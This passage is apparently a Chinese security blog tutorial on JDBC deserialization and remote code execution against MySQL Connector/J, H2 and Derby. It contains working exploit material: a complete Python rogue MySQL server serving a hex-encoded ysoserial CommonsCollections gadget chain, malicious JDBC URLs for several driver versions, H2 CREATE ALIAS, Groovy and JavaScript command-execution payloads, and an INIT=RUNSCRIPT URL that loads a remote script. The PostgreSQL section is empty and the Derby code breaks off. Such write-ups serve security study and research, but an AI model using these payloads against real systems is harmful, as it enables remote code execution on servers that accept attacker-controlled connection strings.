目录

  1. 1. 前言
  2. 2. JDBC
    1. 2.1. 环境部署
    2. 2.2. 简单demo
  3. 3. Java序列化对象的标识符
  4. 4. MYSQL JDBC RCE
    1. 4.1. 漏洞原理
      1. 4.1.1. JDBC连接参数
      2. 4.1.2. readObject 触发点
      3. 4.1.3. MySQL认证报文
      4. 4.1.4. show session status 响应包的编写
    2. 4.2. 利用链
      1. 4.2.1. ServerStatusDiffInterceptor链
        1. 4.2.1.1. 8.0.7-8.0.20
          1. 4.2.1.1.1. 恶意 mysql server
          2. 4.2.1.1.2. 调试
        2. 4.2.1.2. 5.1.0-5.1.10
        3. 4.2.1.3. 5.1.11-5.x.xx
        4. 4.2.1.4. 6.x
        5. 4.2.1.5. > 8.0.20
      2. 4.2.2. detectCustomCollations链
  5. 5. H2 RCE
    1. 5.1. H2 基础
      1. 5.1.1. 搭建
    2. 5.2. 存在 javac 的环境
      1. 5.2.1. INIT RunScript RCE
      2. 5.2.2. Alias Script RCE
    3. 5.3. groovy 环境
      1. 5.3.1. TRIGGER Script RCE
    4. 5.4. 低版本 jdk 下 js 执行
    5. 5.5. JRE 17 环境
    6. 5.6. 实战:dataease
      1. 5.6.1. 大小写绕过
      2. 5.6.2. unicode 绕过
      3. 5.6.3. 反斜杠转义
  6. 6. PostgreSQL JDBC RCE
  7. 7. Apache Derby

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

JDBC反序列化

2024/5/21 Web 反序列化 JDBC
  |     |   总文章阅读量:

前言

我从来都不觉得学java开心过x

参考:

https://boogipop.com/2023/03/11/WebDog%E5%BF%85%E5%AD%A6%E7%9A%84JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://boogipop.com/2023/10/01/JDBC-Attack%20%E5%88%A9%E7%94%A8%E6%B1%87%E6%80%BB/

https://tttang.com/archive/1877/

https://xz.aliyun.com/t/8159

https://www.cnblogs.com/GeekerJun/p/17859798.html

https://www.cnblogs.com/F12-blog/p/18144377

https://fushuling.com/index.php/2025/06/23/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84h2_jdbc_bypass%E4%B9%8B%E6%97%85/


JDBC

JDBC(Java DataBase Connectivity)是一种用于执行Sql语句的Java Api,即Java数据库连接,是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,可以为多种关系数据库提供统一访问,提供了诸如查询和更新数据库中数据的方法,是Java访问数据库的标准规范。

简单理解为链接数据库、对数据库操作都需要通过jdbc来实现。

环境部署

想了想顺带把IDEA的基础使用也过一遍

IDEA新建一个普通项目即可,在src文件夹下新建一个软件包com.example

写一个Test类:

输入快捷命令psvm后回车,或者按Tab键快速自动生成main函数结构体

然后在main中输入快捷命令sout后回车,或者按Tab键快速建立输出命名

image-20240521005703824

接下来正式配置JDBC,驱动jar包的下载地址:https://dev.mysql.com/downloads/connector/j/

这里先整一个8.0.12版本的jar包

image-20240521010043116

然后取出压缩包里面的jar包,导到项目中,这里新建一个lib文件夹用来存放jar包

image-20240521010346883

(也可以直接右键jar包添加为库)

或者直接导入 pom

<dependency>
  <groupId>mysql</groupId>
  <artifactId>mysql-connector-java</artifactId>
  <version>8.0.12</version>
</dependency>

简单demo

package com.example;
import java.sql.*;
public class Test {
    public static void main(String[] args) throws Exception {
        String Driver = "com.mysql.cj.jdbc.Driver"; // 从mysql-connector-java 6开始
        //String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
        String DB_URL = "jdbc:mysql://127.0.0.1:3306/sql?useSSL=true&serverTimezone=GMT%2B8";	// 注意高版本mysql服务需要指定useSSL参数,高版本jdbc jar包需要指定serverTimezone时区
        //1.加载启动
        Class.forName(Driver);
        //2.建立连接
        Connection conn = DriverManager.getConnection(DB_URL, "root", "passwd");
        //3.操作数据库,实现增删改查
        Statement stmt = conn.createStatement();
        ResultSet rs = stmt.executeQuery("select * from user");
        //如果有数据,rs.next()返回true
        while (rs.next()) {
            System.out.println(rs.getString("id") + " : " + rs.getString("username"));
        }
    }
}

image-20240521011411208


Java序列化对象的标识符

package com.example;

import java.io.*;

public class Car implements Serializable {

    private String name;
    public Car(){
        this.name ="car";
    }

    public static void main(String[] args) throws IOException, FileNotFoundException {
        Car car=new Car();
        FileOutputStream fos =new FileOutputStream("output");
        ObjectOutputStream oos =new ObjectOutputStream(fos);
        oos.writeObject(car);
        oos.close();
    }
}

运行程序输出会得到一个序列化文件

用010看一下其十六进制

image-20240521012041561

image-20240521012111477

前两个字节固定为-84-19,这一点在后面会回收伏笔


MYSQL JDBC RCE

漏洞原理

若攻击者能控制 JDBC 连接设置项,则可以通过设置其配置指向恶意 MySQL 服务器触发ObjectInputStream.readObject(),构造反序列化利用链从而造成RCE。

通过 JDBC 连接 MySQL 服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在 MySQL 客户端进行处理时会被ObjectInputStream.readObject()进行反序列化处理。如果攻击者可以控制 JDBC 连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞。可被利用的两条查询语句:

SHOW SESSION STATUS
SHOW COLLATION

JDBC连接参数

即 jdbc 的url中的参数,例如jdbc:mysql://127.0.0.1:3306/sql?useSSL=true&serverTimezone=GMT%2B8,其中的参数就有 useSSL 和 serverTimezone

  • statementInterceptors:连接参数是用于指定实现 com.mysql.jdbc.StatementInterceptor 接口的类的逗号分隔列表的参数。这些拦截器可用于通过在查询执行和结果返回之间插入自定义逻辑来影响查询执行的结果,这些拦截器将被添加到一个链中,第一个拦截器返回的结果将被传递到第二个拦截器,以此类推。在 8.0 中被 queryInterceptors 参数替代。

  • queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)

  • autoDeserialize:自动检测与反序列化存在 BLOB 字段中的对象

  • detectCustomCollations:驱动程序是否应该检测服务器上安装的自定义字符集/排序规则,如果此选项设置为“true”,驱动程序会在每次建立连接时从服务器获取实际的字符集/排序规则。这可能会显着减慢连接初始化速度

文档地址:https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-connection.html


readObject 触发点

漏洞点在于com.mysql.cj.jdbc.result.ResultSetImpl.getObject()

public Object getObject(int columnIndex) throws SQLException {
    try {
        this.checkRowPos();
        this.checkColumnBounds(columnIndex);
        int columnIndexMinusOne = columnIndex - 1;
        if (this.thisRow.getNull(columnIndexMinusOne)) {
            return null;
        } else {
            Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
            switch (field.getMysqlType()) {
                case BIT:	//判断数据是不是blob或者二进制数据
                    if (!field.isBinary() && !field.isBlob()) {
                        return field.isSingleBit() ? this.getBoolean(columnIndex) : this.getBytes(columnIndex);
                    } else {
                        byte[] data = this.getBytes(columnIndex);
                        if (!(Boolean)this.connection.getPropertySet().getBooleanProperty("autoDeserialize").getValue()) {	//获取连接属性的autoDeserialize是否为true,即要求url中autoDeserialize参数需要为true
                            return data;
                        } else {
                            Object obj = data;
                            if (data != null && data.length >= 2) {
                                if (data[0] != -84 || data[1] != -19) {
                                    return this.getString(columnIndex);
                                }

                                try {
                                    ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                    ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                    obj = objIn.readObject();
                                    objIn.close();
                                    bytesIn.close();
                                } ...

image-20240521134323858

在 readObject 前有一个判断,那就是 if (data[0] != -84 || data[1] != -19),即前面Java序列化对象的标识符

那么这个就用来判断是否为序列化对象,如果是的话才能进入readObject方法被调用

接下来找调用 getObject 方法的地方,在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()

ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcess和postProcess方法

image-20240521135020403

这里执行ResultSetUtil.resultSetToMap(toPopulate, rs),ctrl+B 跟进该方法

image-20240521135132307

在方法内执行了 getObject 方法,于是连上了

接下来看看传入的两个参数 toPopulate 和 rs

private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
    Statement stmt = null;
    ResultSet rs = null;

    try {
        try {
            toPopulate.clear();
            stmt = this.connection.createStatement();
            rs = stmt.executeQuery("SHOW SESSION STATUS");
            ResultSetUtil.resultSetToMap(toPopulate, rs);
        }
        ...

rs 是服务端执行 SQL 语句 SHOW SESSION STATUS 后返回的结果,那么只要我们能利用恶意的 mysql 服务端来控制 rs 的值,就可以尝试触发反序列化链了


MySQL认证报文

既然需要恶意的 mysql 服务,那么就得自己写,这里有两种写法:

  1. 根据 MYSQL 的协议去写服务器

  2. 抓包,模拟发包过程

这里选择第二种

准备一个客户端:

import java.sql.*;

public class Client {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String Driver = "com.mysql.cj.jdbc.Driver";

        String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&serverTimezone=GMT%2B8";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL,"root","passwd");
    }
}

然后抓包:因为使用的是本地的MYSQL,所以抓包需要使用npcap,wireshark默认使用的是winpcap,它不会抓取本地环回的数据包

懒得配环境了,这里直接拿别的师傅的图(

mysql也是有类似tcp一样的认证系统的,有 Request 和 Response

分析Response OK的数据包

image-20240530113241054

可以看到MYSQL Protocol的认证报文为:0700000200000002000000

也就是说我们恶意服务端只需要将该数据返回给 Request 即可完成认证,再看看 Request 报文:

image-20240530113435915

直接发送原始数据即可,恶意服务端可以将这部分改为恶意payload,之后进行反序列化


show session status 响应包的编写

从流量中可以看出来 show session status 属于 request Query 报文

对于查询数据包的响应包可以分为四种:错误包(ERR Packet)、正确包(OK Packet)、 Protocol::LOCAL_INFILE_Request、结果集(ProtocolText::Resultset)

流量里看到的 Response OK 数据包就是 OK packet

我们这里要用的是结果集的数据包,结果集响应包的结构:

image-20240531005812275

  • 数据段1:说明下面的结果集有多少列
  • 数据段2:列的定义
  • 数据段3:EOF 包
  • 数据段4:行数据

那么对着这个数据段结构来构造自己的数据段:

  1. 数据段1就可以写成01 00 00 01 02 前三字节表示数据长度为1,然后sequence id为1,最后一字节02表示有两列(尝试写一列无法正常运行)

  2. 数据段2用其它师傅已经写好的数据:1a000002036465660001630163016301630c3f00ffff0000fcffff000000

    1a 00 00  // 3字节表示长度(这个长度说的是协议的内容长度,不包括序号那一字节)
    02      // 序号:这里是第二个数据字段
    03646566  // def
    00   // schema协议:不使用就用00
    01 63  // table:因为我们使用列数据,就不需要名字了,下面几个都是任意字符。字符串第一字节是用来说明长度的。
    01 63  // org_table:01表示1字节,63是数据
    0163    // name  
    0163   // org_name
    0c      filler  // length of the following fields 总是0x0c
    3f00   // characterset:字符编码,003f是binary 
    ffff0000  column_length // 允许数据最大长度,就是我们行数据的最大长度。ffff
    fc    // column_type:这一列数据类型,fc表示blob  
    9000    // flags:9000是官方的值
    00	// decimals
    0000	// filler_2
  3. 数据段3,EOF包貌似可以不用写

  4. 数据段4,即我们的poc,和上面一样,计算出长度(3字节)序号(1字节)行数据(行数据第一个字节是数据的长度)。poc使用ysoserial

    java -jar ysoserial.jar CommonsCollections7 "calc" > a

利用链

ServerStatusDiffInterceptor链

// 5.1.0-5.1.10 连接后需执行查询
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc


// 5.1.11-5.x.xx
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

// 6.x(注意包名中添加cj)
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

// 8.0.20以下
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

8.0.7-8.0.20

恶意 mysql server

准备一个恶意mysql服务端,mysql-connector-java 8.0.12

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data = "0700000200000002000000"


def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()


def send_data(conn, data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))


def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a
    file = r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()), encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content = 'aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content


# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0], addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn, greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn, response_ok_data)

            #其他过程
            data = receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 获取payload
                payload_content = get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content) // 2)).replace(
                    '0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content) // 2 + 4)).replace(
                    '0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc' + payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST = '0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST, PORT))
    run()

客户端(mysql-connector-java-8.0.12)

import java.sql.*;

public class Client {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"; //8.x使用
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(DB_URL);

    }
}

用 ysoserial 准备一个 cc7 的恶意 bin,然后运行恶意服务端和客户端

调试

开始调试,直接断点在 DriverManager.getConnection

一路跟到这里把 url 作为参数放入 ConnectionUrl.getConnectionUrlInstance

此处会进入 SINGLE_CONNECTION 分支,那么进入 com.mysql.cj.jdbc.ConnectionImpl.getInstance(conStr.getMainHost());,直接跟 getInstance

调用 ConnectionImpl,传入 evil mysql server 的参数

上面的部分基本上都在赋值,直接到最下面的 initializeSafeQueryInterceptors,这里进行一个初始化请求监听器

然后继续往下

依旧是初始化,继续跟

跟进 handleAutoCommitDefaults

这里有个 setAutoCommit

到这里就是主要逻辑了,此处调用 execSQL 执行 SQL

此处发送 SQL 请求数据包

调用 invokeQueryInterceptorsPre

调用了 preProcess 函数

至此到达 com.mysql.cj.jdbc.result.ResultSetImpl.getObject(),然后就是 readobject 反序列化了


5.1.0-5.1.10

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作,返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();

5.1.11-5.x.xx

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

6.x

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

> 8.0.20

这以后进入 populateMapWithSessionStatusValues 后不会再调用 getObject,遂无法利用


detectCustomCollations链

这里就是对 SHOW COLLATION 的利用

6.0.2-6.0.6:

import java.sql.*;

public class Client {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Connection conn=null;
        String url = "jdbc:mysql://127.0.0.1:3309/mysql?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections7_calc";
        String username = "yso_CommonsCollections7_calc";
        String password = "";
        Class.forName("com.mysql.jdbc.Driver");
        conn = DriverManager.getConnection(url, username, password);

    }
}

此处需要用到 Mysql_Fake_Server


H2 RCE

H2 基础

H2 是一个用 Java 开发的轻量级关系型数据库,支持内存(mem:)和文件(file:)两种模式,它本身只是一个类库,即只有一个 jar 文件。它支持标准 SQL 和 JDBC 接口,也可以直接嵌入到应用项目中。H2 主要有如下三个用途:

  1. 第一个用途,也是最常使用的用途就在于可以同应用程序打包在一起发布,这样可以非常方便地存储少量结构化数据。
  2. 第二个用途是用于单元测试。启动速度快,而且可以关闭持久化功能,每一个用例执行完随即还原到初始状态。
  3. 第三个用途是作为缓存,即当做内存数据库,作为NoSQL的一个补充。当某些场景下数据模型必须为关系型,可以拿它当Memcached使,作为后端MySQL/Oracle的一个缓冲层,缓存一些不经常变化但需要频繁访问的数据,比如字典表、权限表。

搭建

https://www.h2database.com/html/download.html

或者 maven 导入依赖

<dependency>
  <groupId>com.h2database</groupId>
  <artifactId>h2</artifactId>
  <version>2.2.224</version>
</dependency>

启动控制台

java -cp ~/.m2/repository/com/h2database/h2/2.2.224/h2-2.2.224.jar org.h2.tools.Shell

主要是填写 JDBC URL 指向数据库的文件夹 jdbc:h2:~/Sec/JavaSec/JDBC/h2db.h2;AUTO_SERVER=TRUE ,账号和密码可以为默认的 sa 和空密码,这里还开启了 AUTO_SERVER,从而使多个进程可以访问同一个数据库

然后对应的文件夹下就会生成数据库文件

启动 web-console

java -cp ~/.m2/repository/com/h2database/h2/2.2.224/h2-2.2.224.jar org.h2.tools.Server -web -baseDir ~/Sec/JavaSec/JDBC -tcpPort 9092

# -web: 打开 Web 控制台
# -webAllowOthers: 允许外部机器访问
# -tcpPort 9092: TCP 服务器端口


存在 javac 的环境

INIT RunScript RCE

在 H2 数据库进行初始化的时候,或者当我们可以控制 JDBC 链接时即可完成 RCE

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "hacker";}';CALL EXEC ('open -a Calculator')

我们可以通过设置 INIT=RUNSCRIPT 语法让系统加载远程恶意脚本

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/init.sql'

编写 java client 加载:

package com.example.h2rce;

import java.sql.Connection;
import java.sql.DriverManager;

public class h2JDBCClient {
    public static void main(String[] args) throws Exception {
        // H2 JDBC URL,关键点是 INIT=RUNSCRIPT FROM <http-url>
        String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/init.sql'";
        Connection conn = DriverManager.getConnection(url);
    }
}

也可以直接在 web-console 里启动,但是我这里报错 Database “mem:testdb” not found


Alias Script RCE

这个就是不出网的打法,但是无回显,注意转义分号

//创建别名,调用SHELLEXEC执行命令  
CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A")\;return s.hasNext() ? s.next() : ""\;}'\;CALL SHELLEXEC('id');
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('whoami')\\;";

groovy 环境

TRIGGER Script RCE

Class.forName("org.h2.Driver");
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x";
String url    = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";

低版本 jdk 下 js 执行

CREATE TRIGGER poc2 BEFORE SELECT ON  
INFORMATION_SCHEMA.TABLES AS $$//javascript  
java.lang.Runtime.getRuntime().exec("calc") $$;

JRE 17 环境

https://exp10it.io/2025/03/h2-rce-in-jre-17/


实战:dataease

大小写绕过

jdbc 参数大小写不敏感

unicode 绕过

js 引擎启动,拉丁字母替换

反斜杠转义

类似命令执行


PostgreSQL JDBC RCE


Apache Derby

pom:

<dependency>
  <groupId>org.apache.derby</groupId>
  <artifactId>derby</artifactId>
  <version>10.10.1.1</version>
</dependency>

evil server:

public static void main(String[] args) throws Exception {
	// 监听端口,默认 4444,可以指定
	int          port   = 4444;
	ServerSocket server = new ServerSocket(port);
	Socket       socket = server.accept();

	// CC6
